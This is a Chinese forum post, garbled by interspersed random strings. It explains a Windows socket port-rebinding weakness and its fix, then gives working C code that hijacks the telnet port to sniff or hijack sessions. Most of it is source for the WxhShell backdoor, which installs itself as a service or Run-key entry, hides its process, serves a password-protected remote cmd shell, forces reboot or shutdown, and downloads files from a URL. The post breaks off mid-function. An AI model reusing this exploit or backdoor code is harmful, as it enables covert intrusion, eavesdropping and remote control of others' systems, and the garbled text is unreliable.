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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ?#idmb}( s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); @gc lks/M oomB/"Z saddr.sin_family = AF_INET; #$7 z X9C)FS saddr.sin_addr.s_addr = htonl(INADDR_ANY); ]uO 8 | iEhe bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); iD,iv LyO ,] 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 J"'2zg1& ~(kIr?^ 这意味着什么?意味着可以进行如下的攻击: YUd*\_ [vb>5EhL! 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 /*s:ehj p%
ESp& 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) "|w..%Wc 0o2o]{rM{2 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 `'9Kj9} sL|lfc'bB 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 wP3_RA]z ei'=%r8~ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 (lF;c<69 0 (jb19 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 2)]C' x"h0Fe?J 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 :" Q!Q@> j|gv0SI_
w #include TtEc~m #include D(xgadr #include ,
"w`,c>! #include r(NfVQF DWORD WINAPI ClientThread(LPVOID lpParam); =ZM #_uW int main() 8$a4[s
{ {Buoo~ WORD wVersionRequested; &\8.y2=9p DWORD ret; *m:h0[[J WSADATA wsaData; nB2AmS BOOL val; :UMg5eZ SOCKADDR_IN saddr; bA\TuB SOCKADDR_IN scaddr; Q/r0p> int err; } Zu2GU$6 SOCKET s; (yQ]n91 Q, SOCKET sc; 7qSlqA<Hs int caddsize; 6#VG,'e3 HANDLE mt; :"? boA#L DWORD tid; GgkljF@{} wVersionRequested = MAKEWORD( 2, 2 ); e&Z}struE err = WSAStartup( wVersionRequested, &wsaData ); U*F|Z4{W if ( err != 0 ) { INSI$tA~ printf("error!WSAStartup failed!\n"); g/,fjM_ return -1; 33x3zEUt6 } opTDW) saddr.sin_family = AF_INET; OQ"%(w>Hb Z0T{1YEJ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 b3}928!D-@ j eF1{ % saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ?Z%Ja_}8ma saddr.sin_port = htons(23); mMmzi4HL if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) iJ_`ZM.w { cAJKFuX" printf("error!socket failed!\n"); L;30&a return -1; |qbCmsY5/ } 7onMKMktM% val = TRUE;
Xm`s=5% //SO_REUSEADDR选项就是可以实现端口重绑定的 6ae if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ]$(::'pmK { ,t5X'sY L printf("error!setsockopt failed!\n"); rZ<0ks return -1; >kOc a } Q(h,P+ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; F^bC!;~x //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 {V%ZOdg9 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 WL-+;h@VQ Im%|9g;P if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 0z{S@ { n
m(yFX?= ret=GetLastError(); q]q(zUtU printf("error!bind failed!\n"); jfF,:(P%W return -1; =BJ/ZM } )k0e} listen(s,2); t ]{qizfOB while(1) =Run { zMb7a_W caddsize = sizeof(scaddr); t$=FcKUV}f //接受连接请求 :7%JD .;W sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 6"Q/Y[y if(sc!=INVALID_SOCKET) b1{~j]"$L { +(3"XYh mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); %Q"zU9 if(mt==NULL) 0?l|A1I% { _i~n!v printf("Thread Creat Failed!\n"); ]YkF^Pf!v break; ;>[).fX>/ } g6EdCG.V } =Xzqp, CloseHandle(mt); f ^mxj/%L } 8,2l >S closesocket(s); m3XL;1y:a WSACleanup(); B#o(21s return 0; Dr6"~5~9w } V[,/Hw~d% DWORD WINAPI ClientThread(LPVOID lpParam) WpC@nz? { yAtM|:qq SOCKET ss = (SOCKET)lpParam; "lLt=s2>L SOCKET sc; AC3K*)`E unsigned char buf[4096]; (u85$_C SOCKADDR_IN saddr; [YP8z~ long num; A@*P4E`xp DWORD val; A$ %5l DWORD ret; G;615p1 //如果是隐藏端口应用的话,可以在此处加一些判断 8
W8ahG} //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 6HpSZa saddr.sin_family = AF_INET; d+~c$(M) saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); VBR@f<2L saddr.sin_port = htons(23); Pgf$GXE if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) f2[z)j7 { OTd=(dwh printf("error!socket failed!\n"); o1"U'y-9V return -1; S]ZO*+ } VuFMjY val = 100; LfyycC2E if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) !;lA+O-t { lJoMJS;S]} ret = GetLastError(); &J^@TgqL^ return -1; ^ef:cS$; } K @"m0 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) C.@R#a' { z;1tJ ret = GetLastError(); $=iz&{9 return -1; UV)[a%/SB& } U6FM`w< if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) aW %ulZ { % Z&[wU~ printf("error!socket connect failed!\n"); k<=.1cFh closesocket(sc); :BCjt@K} closesocket(ss); ttLChL return -1; -Qo`UL.} } hU5[k/ q while(1) )vOZp& { ?yddr`?W //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 )z3mS2 //如果是嗅探内容的话,可以再此处进行内容分析和记录 oe`oUnN //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 T2Cdw\ num = recv(ss,buf,4096,0); +OK.[ji? if(num>0) R|{AIa{} send(sc,buf,num,0); kxoJL6IC else if(num==0) /fA:Fnv break; 8gJ"7,}-' num = recv(sc,buf,4096,0); T*\'G6e if(num>0) TWl':} send(ss,buf,num,0); jnt0,y A else if(num==0) X1:| break; UBpYR>
<\ } bjPI:j*XU closesocket(ss); -,q&Zm closesocket(sc); e+bpbyV_# return 0 ; Zi$a6 } *Au4q< -`]B4Nt6 ]jG%<j9A ========================================================== W5$jIQ}Bw Po&gr@e.V 下边附上一个代码,,WXhSHELL $J[h(>-X &of%;>$>M ========================================================== Mp?Ev. p}uL%:Vr #include "stdafx.h" t ?28s/? 9/D+6hJ]: #include <stdio.h> 5'\/gvxIC #include <string.h> a~OCo #include <windows.h> INW8Q`[F #include <winsock2.h> ,f$A5RN #include <winsvc.h> ~t<BZu #include <urlmon.h> c G?RisSZ ex $d~ #pragma comment (lib, "Ws2_32.lib") h(d<':| #pragma comment (lib, "urlmon.lib") zdyS"H} 6h}f^eJ:K, #define MAX_USER 100 // 最大客户端连接数 ^qiTO`lg #define BUF_SOCK 200 // sock buffer LB? evewu #define KEY_BUFF 255 // 输入 buffer J\_tigd (o{QSk\ #define REBOOT 0 // 重启 VyCBJK #define SHUTDOWN 1 // 关机 .zlUN0oe ; z :}OD #define DEF_PORT 5000 // 监听端口 h_?D%b~5 h\C #define REG_LEN 16 // 注册表键长度 |=l;UqB #define SVC_LEN 80 // NT服务名长度 -DX|[70 >T.U\,om7 // 从dll定义API e.\d7_T+ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); =4
&9!Z typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); $"J+3mO typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); fcr\XCG7U typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); T$GhE oQ8W0`bZa // wxhshell配置信息 @luv;X^% struct WSCFG { 3 _:yHwkD int ws_port; // 监听端口 ~8`r.1aUO char ws_passstr[REG_LEN]; // 口令 e_g7E+6 int ws_autoins; // 安装标记, 1=yes 0=no *M/3 1qI char ws_regname[REG_LEN]; // 注册表键名 b,D+1' char ws_svcname[REG_LEN]; // 服务名 & @^|=>L char ws_svcdisp[SVC_LEN]; // 服务显示名 GpN tvo~ char ws_svcdesc[SVC_LEN]; // 服务描述信息 \4~uop,Nb+ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 76}
N/C int ws_downexe; // 下载执行标记, 1=yes 0=no 0mH>fs 4 char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" oO$a4|&, char ws_filenam[SVC_LEN]; // 下载后保存的文件名 q<r{ps m$*dPje }; cQu1WgQ
G ?*tpW75hR[ // default Wxhshell configuration YX18!OhQ struct WSCFG wscfg={DEF_PORT, v)d\
5#7 "xuhuanlingzhe", ,S:g5n >M 1, 50l=B]M "Wxhshell", ~k+-))pf "Wxhshell", 6~&4>2b0f "WxhShell Service", `WC~cb\ "Wrsky Windows CmdShell Service", 'RTz*CSZ "Please Input Your Password: ", wR@fB 1, +x-n,!( " http://www.wrsky.com/wxhshell.exe", 477jS6 ^e& "Wxhshell.exe" tE9%;8;H }; syv6" 2Z'B Xko[Z;4v8' // 消息定义模块 K)sO char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; (3%NudkwT char *msg_ws_prompt="\n\r? for help\n\r#>"; \.9-:\'( char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; %z`bu2 char *msg_ws_ext="\n\rExit."; <{3VK char *msg_ws_end="\n\rQuit."; :I+%v char *msg_ws_boot="\n\rReboot..."; fHb0pp\[. char *msg_ws_poff="\n\rShutdown..."; IM}#k$vM: char *msg_ws_down="\n\rSave to "; J ;i/X;^ n_v|fxF1 char *msg_ws_err="\n\rErr!"; 9$)TAI&P char *msg_ws_ok="\n\rOK!"; :a0qm.EN hCc_+/j| char ExeFile[MAX_PATH]; ka[]pY int nUser = 0; C*/d%eHD HANDLE handles[MAX_USER]; n$axqvG int OsIsNt; (JL{X`gs# xx#;)]WT SERVICE_STATUS serviceStatus; 9%$4Ux*q SERVICE_STATUS_HANDLE hServiceStatusHandle; "So+ `Q,moz // 函数声明 Qi w "x, int Install(void); (m-(5 CaJ int Uninstall(void); S)n~^q int DownloadFile(char *sURL, SOCKET wsh); My5h;N@C int Boot(int flag); x!tCK47Yq void HideProc(void); [wjA8d. int GetOsVer(void); rts@1JY[ int Wxhshell(SOCKET wsl); s0E:hn: void TalkWithClient(void *cs); {&4+W=0
n int CmdShell(SOCKET sock); R% l=NHB} int StartFromService(void); = =cAL"Z int StartWxhshell(LPSTR lpCmdLine); e#0R9+"Ba /$%apci8 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); UCa(3p^V_ VOID WINAPI NTServiceHandler( DWORD fdwControl ); 3!Gnc0%c bEMD2ABm // 数据结构和表定义 mPi4.p) SERVICE_TABLE_ENTRY DispatchTable[] = R}#?A%,* { 3(}W=oI {wscfg.ws_svcname, NTServiceMain}, E/Q[J.$o {NULL, NULL} z$QYl*F1 }; -Z-|49I/mN a^@6hC>sr // 自我安装 SYw>P1 int Install(void) u1~H1
]Ii { KaauX
m char svExeFile[MAX_PATH]; >TeTa l HKEY key; {3i.U028] strcpy(svExeFile,ExeFile); 0AZ Vc ido'<;4> // 如果是win9x系统,修改注册表设为自启动 H CZ#7Z if(!OsIsNt) { Vge9AH:op if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \{\*h /m RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); MIsjTKE RegCloseKey(key); #B88w9
b`D if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "S,,Bj L RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >j4;{r+eQw RegCloseKey(key); MQG(n +c return 0; H]H*Ouu["e } _<+! } :tl*>d~ } P bj &l0C else { D2# 3fM6 &_x:+{06 // 如果是NT以上系统,安装为系统服务 ^{T]sv SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); U,gg@!1GJo if (schSCManager!=0)
D8m1:kU { "@xI
SC_HANDLE schService = CreateService
X/}kNW!q ( r,cV( schSCManager, z{wJQZ9" wscfg.ws_svcname, Nz'fM daX, wscfg.ws_svcdisp, pi*cO SERVICE_ALL_ACCESS, pV9$Vg?-H SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , `+CRUdr SERVICE_AUTO_START, B36_OH SERVICE_ERROR_NORMAL, NoB)tAvw svExeFile, bE74Ui NULL, 8doKB<#_+= NULL, 08n2TL;EsX NULL, ~Y7>P$G) NULL, ^":UkPFCx: NULL fZw/kjx@ ); p9 <XaJ} if (schService!=0) 1Mn=m w { DI{VJ&n66 CloseServiceHandle(schService); E z?O
gE{ CloseServiceHandle(schSCManager); Iq]+O Q strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); -y|>#`T/ strcat(svExeFile,wscfg.ws_svcname); )"/.2S; if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { v-B{7
~=#Z RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); mSm:>hBd RegCloseKey(key); U>H"N1 return 0; r7+"i9 } F0t-b %w, } I<L CloseServiceHandle(schSCManager); Y``50{7 }
xAbx.\ } 1YV ;pEw3w 0/5
a3-3{ return 1; ++w7jVi9 } A=JPmsj. {$-lXw4 // 自我卸载 (HbA?Aja int Uninstall(void) 9AF%Y:y { S~()A*5 HKEY key; :[xFp}w{ uH="l.u if(!OsIsNt) { F$.h+v if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Rsd~t_a1 RegDeleteValue(key,wscfg.ws_regname); |(u6xPs;P RegCloseKey(key); <| 8N\FU{ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1Bp?HyCR RegDeleteValue(key,wscfg.ws_regname); td JA? RegCloseKey(key); `k2YH? return 0; f8 E,.$> } "A\h+q- } @( p9} } 5, " else { 6l]jmj)/ + -~8t^ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 1[p6v4qO{ if (schSCManager!=0) Nk?eVJ) { 0Lb:N]5m8 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); o|(Ivt7jk if (schService!=0) Vl'Gi44)3" { H c,e&R if(DeleteService(schService)!=0) { Gf71udaa CloseServiceHandle(schService); Jx@_OE_vp CloseServiceHandle(schSCManager); o-i9 :AHs return 0; .3>`y L } 41G}d+ CloseServiceHandle(schService); @=rYOQj| } NW_i<# CloseServiceHandle(schSCManager); 0RFBun{ } $-Iui0h } D8X~qt/ JOwm|%>3a return 1; D[/h7Ha } X'FDQoH ^E~F,]dV= // 从指定url下载文件 !aQb
Kp int DownloadFile(char *sURL, SOCKET wsh) o-I:p$B - { CCDU5l$$ HRESULT hr; O]_a$U*6 char seps[]= "/"; OFe-e(c1 char *token; XM1;
>#kz char *file; ;P
*`v char myURL[MAX_PATH]; V#X#rDfJZ char myFILE[MAX_PATH]; )OHGg w1Txz4JqB strcpy(myURL,sURL); 6 &Lr/J76 token=strtok(myURL,seps); Upw`|$1S while(token!=NULL) C&|K7Zp0v { ;gGq\c file=token; a\-AGG{2/X token=strtok(NULL,seps); j%+>y;). } ~Uw;6VXV1 t =V| ' GetCurrentDirectory(MAX_PATH,myFILE); IJ]rVty strcat(myFILE, "\\"); 3_bqDhVI5 strcat(myFILE, file); -wa"&Q send(wsh,myFILE,strlen(myFILE),0); @yM$Et5 send(wsh,"...",3,0); R_^0Un([ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); +Jm~Um! if(hr==S_OK) N C%96gfD return 0; -*A1[Z ? else -w"$[XP return 1; 4mjlat(d v}LI-~M>U } :
&bJMzB `G0k)eW // 系统电源模块 GXaPfC0-y int Boot(int flag) 8
XQo { Nj;5iy HANDLE hToken; NX4G;+6 TOKEN_PRIVILEGES tkp; / 3eGt7x# f$76p!pDa if(OsIsNt) { ]"/SU6#4: OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); cgnMoBIc LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 9(3]t}J5
d tkp.PrivilegeCount = 1; J#W*,%8O tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; EXMW, AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); qjObu\r if(flag==REBOOT) { #_eXybUV if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) >AFQm return 0; tD*k
} ebn3r:IU- else { =r4sF!g if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 6f2?)jOW^N return 0; _@i-?Q } LC4VlfU } iX o( else { Gphy8~eS if(flag==REBOOT) { SwsJ<Dq^z if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) eR4ib-nS return 0; ,m[XeI } i=L 86Ks else { j!@T@
8J if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) w$IUm_~waa return 0; (/At+MF3E } {+zG.1o^ } cRH(@b
Xr )w~1VcnJEp return 1; ZJF"Yo } ,ss"s3
LofpBO6^ // win9x进程隐藏模块 >yr;Y4y7K void HideProc(void) s>:gL,%c { 8o[gzW:Q)U De>e`./56 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); :-O$rm if ( hKernel != NULL ) 1 $1>cuu { `-%dHvB^R pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); k>F!S`a&m ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); lX%-oRQ/os FreeLibrary(hKernel); K>vl o/#! } )sW!s3>S> %19~9Tw return; VQ,5&-9Y3 } _h4]gZ H\V?QDn // 获取操作系统版本 CVvl &on int GetOsVer(void) G62;p# { R(pQu!
K4 OSVERSIONINFO winfo; 6\u. [2lE^ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); }cI-]|)|2 GetVersionEx(&winfo); ," 5HJA4 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) H>D sAHS return 1; RhKDQGdd else eI:x4K,# return 0; ~Er0$+q=Y; } N<@K(?' @{#'y4\> // 客户端句柄模块 b:'8_jL int Wxhshell(SOCKET wsl) lz6CK
{ ViyG%Sm SOCKET wsh; x0>N{ADXQ struct sockaddr_in client; )X," NJG DWORD myID; *1!'ZfT; B_iaty while(nUser<MAX_USER) Z2@e~&L { :R
+BC2x int nSize=sizeof(client); 0[fBP\H"Wr wsh=accept(wsl,(struct sockaddr *)&client,&nSize); TghT{h@ if(wsh==INVALID_SOCKET) return 1; *~4<CP+"0
#tpz74O handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); c$)>$&([ if(handles[nUser]==0) @aN~97
H\ closesocket(wsh); -O,:~a=*_ else hrD2-S nUser++; >TM{2b,(p } |A,.mOT WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 3N!v"2!# nC
!NZ return 0; Mv/ SU">F } T%9t8?I A@?-"=h} // 关闭 socket 5(\/ b<# void CloseIt(SOCKET wsh) "M+I$*] { }eA)m closesocket(wsh); *Q?8OwhJ nUser--; Pzd!"Gl9 ExitThread(0); oiR9NB&< } O(-6Zqk8Q -DJ,<f*$ // 客户端请求句柄 T`j{2 void TalkWithClient(void *cs) ZwY mR= { w;(=wN\ a%a0/!U[ SOCKET wsh=(SOCKET)cs; AqQ5L>:Gq char pwd[SVC_LEN]; i9rv8"0> char cmd[KEY_BUFF]; TG8 U=9qt char chr[1]; 8[t*VIXI int i,j; +t*I{X( YMNLn9 while (nUser < MAX_USER) { DzA'MX pbqk if(wscfg.ws_passstr) { NOoF1kS+ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); K0o${%'@7 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1#;^Z3 //ZeroMemory(pwd,KEY_BUFF); #H
|p)2k i=0; {*g{9` while(i<SVC_LEN) { M&q~e@P I*JJvqh // 设置超时 (nBh6u* fd_set FdRead; sK9RViqF\ struct timeval TimeOut; _I3"35a FD_ZERO(&FdRead); P*}aeu&lnD FD_SET(wsh,&FdRead); Y`$\o TimeOut.tv_sec=8; z0a`*3 -2 TimeOut.tv_usec=0; @q>#]8 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); W?!rqo2SP if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ^
T`T?*h `HYj:4v' if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5 A5t pwd =chr[0]; Btr>ek if(chr[0]==0xd || chr[0]==0xa) {
JV4fL~ pwd=0; i|,}y`C# break; ./.aLTh } (Uu5$q( i++; 7B5b
+ } /CKn XU; )a'` // 如果是非法用户,关闭 socket Y[>h |@ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 9AQ,@xP| } +R;LHRS% 5.oY$tb( send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); TXV^f* send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -k2|`t _ ei=u$S. while(1) { &%)F5PT WD[jEWMV7D ZeroMemory(cmd,KEY_BUFF); *uccY_ hgDFhbHtd6 // 自动支持客户端 telnet标准 -ULgVGYKK j=0; '"LaaTTs while(j<KEY_BUFF) { U,fPG/9 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); OUO'w6m! cmd[j]=chr[0]; kVt/Hhd9 if(chr[0]==0xa || chr[0]==0xd) { ,+C?UW cmd[j]=0; \`2EfYJ{ break; lZ2gCZ } $83Qd j++; QK #qW-49O } ni )G xdaq` ^Bbt // 下载文件 4OO^%`=)M' if(strstr(cmd,"http://")) { 7
TM-uA$ send(wsh,msg_ws_down,strlen(msg_ws_down),0); yzL9Ic if(DownloadFile(cmd,wsh)) tO1k2<Z"Y& send(wsh,msg_ws_err,strlen(msg_ws_err),0); -!M>;M@ else (sH4T> send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g1 y@z8Z{ } OS>%pgv else { 0HbCT3g. I*a.!/$) switch(cmd[0]) { k{lX K\zN FLkZZ\ // 帮助 /S^>06{-+ case '?': { 3G^A^]h send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); $ER$|9)KD break; =1)9>= } } \FCPD.2s+ // 安装 :iQJ9Hdz case 'i': { d#ab"&$bv if(Install()) V! TGFo} send(wsh,msg_ws_err,strlen(msg_ws_err),0); V}Q`dEk2r else N6S@e\* send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f= }!c*l" break; '%TD#!a } Zm6jF // 卸载 ={6vShG)m case 'r': { el<[Ng[ if(Uninstall()) qM3(OvCt send(wsh,msg_ws_err,strlen(msg_ws_err),0); @q@I(%_` else XGYsTquSe send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }#=t%uZ/ break; @cx#' } I-kK^_0mV< // 显示 wxhshell 所在路径 >*+n`"6 case 'p': { w=ufJRj char svExeFile[MAX_PATH]; 0dD.xuor strcpy(svExeFile,"\n\r"); S~|\bnE strcat(svExeFile,ExeFile); cmd7-2 send(wsh,svExeFile,strlen(svExeFile),0); or7l}X break; K,P`V
&m? } PBL=P+ // 重启 z$/s` |] case 'b': { 4Y
G\<Zf send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); IkGM~3e if(Boot(REBOOT)) G \$x. send(wsh,msg_ws_err,strlen(msg_ws_err),0); mWLi XKnb else { `bLJwJ7 closesocket(wsh); 2q9$5 ExitThread(0); XF@34b5( } |a'$v4dCF break; =#{q#COK$ } 7o7FW=^ // 关机 d@Wze[M?0 case 'd': { H5jk#^FD send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Cw5B
p9 if(Boot(SHUTDOWN)) .^ba*qb`{ send(wsh,msg_ws_err,strlen(msg_ws_err),0); fP\*5|7%R else { Tj6Czq=*%T closesocket(wsh); /(%!txSNEt ExitThread(0); wRX#^;O9?> } G) 37?A) break; cF"}}c1*M } 8\?H`NN // 获取shell _@_EQ!= case 's': { sv6m)pwh CmdShell(wsh); =&: |a$C closesocket(wsh); lxR]Bh+ ExitThread(0); _+Pz~_+kS break; {~'Iu8TvZ } !_iv~Q zv // 退出 @$~;vS case 'x': { hSj@<#b>F send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); M~.1:%khM CloseIt(wsh); nM!_C-yX break; Dh68=F0 }
-AB0uMot // 离开 j:HIcCp case 'q': { ;[:IC^9fv send(wsh,msg_ws_end,strlen(msg_ws_end),0); *(Z\"o! closesocket(wsh); $h
>rs WSACleanup(); PJ<9T3Fa exit(1); UhU"[^YO break; Fj`K$K? } 5YgT*}L+, } 4(`U]dNcs } 7T(&DOGZ ?*~sx=mC // 提示信息 j.\0p-, if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); qsYg%Z } }>b@=5O } =tGRy@QV'\ 1c*;Lr.K return; ehZ/J5 } KppYe9? 3sl6$NKo // shell模块句柄 qCF&o7*oN int CmdShell(SOCKET sock) ]VS:5kOj` { O;0VKNn[' STARTUPINFO si; m;ju@5X ZeroMemory(&si,sizeof(si)); D"IxQ2}k si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 'oUTY * si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ;"8BbF. PROCESS_INFORMATION ProcessInfo; mA^3?yj char cmdline[]="cmd"; @c).&7 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); x4v&%d=M return 0; S.pXo'} } J.]`l\ BQ B<+o' // 自身启动模式 h+j*vX/! int StartFromService(void) KWM}VZY:Z { *]!rT&E typedef struct qI<c47d;q { (U\D7ItMG DWORD ExitStatus; U(%6ny DWORD PebBaseAddress; JkKbw&65 DWORD AffinityMask; gu&W:FY DWORD BasePriority; n3$u9!|P ULONG UniqueProcessId; ,V{Bpr ULONG InheritedFromUniqueProcessId; ScmwHid:\ } PROCESS_BASIC_INFORMATION; m[BpV.s 86a,J3C[ PROCNTQSIP NtQueryInformationProcess; l8e)|MSh x{/-&`F static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; =)a%,H static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; &>G8DvfJ9 G2b"R{i/, HANDLE hProcess; _joW%`T8 PROCESS_BASIC_INFORMATION pbi; [Mj5o<k;I d<E2=WVB6 HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ?8;WP& if(NULL == hInst ) return 0; dJlK'zK _rz\[{) g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst 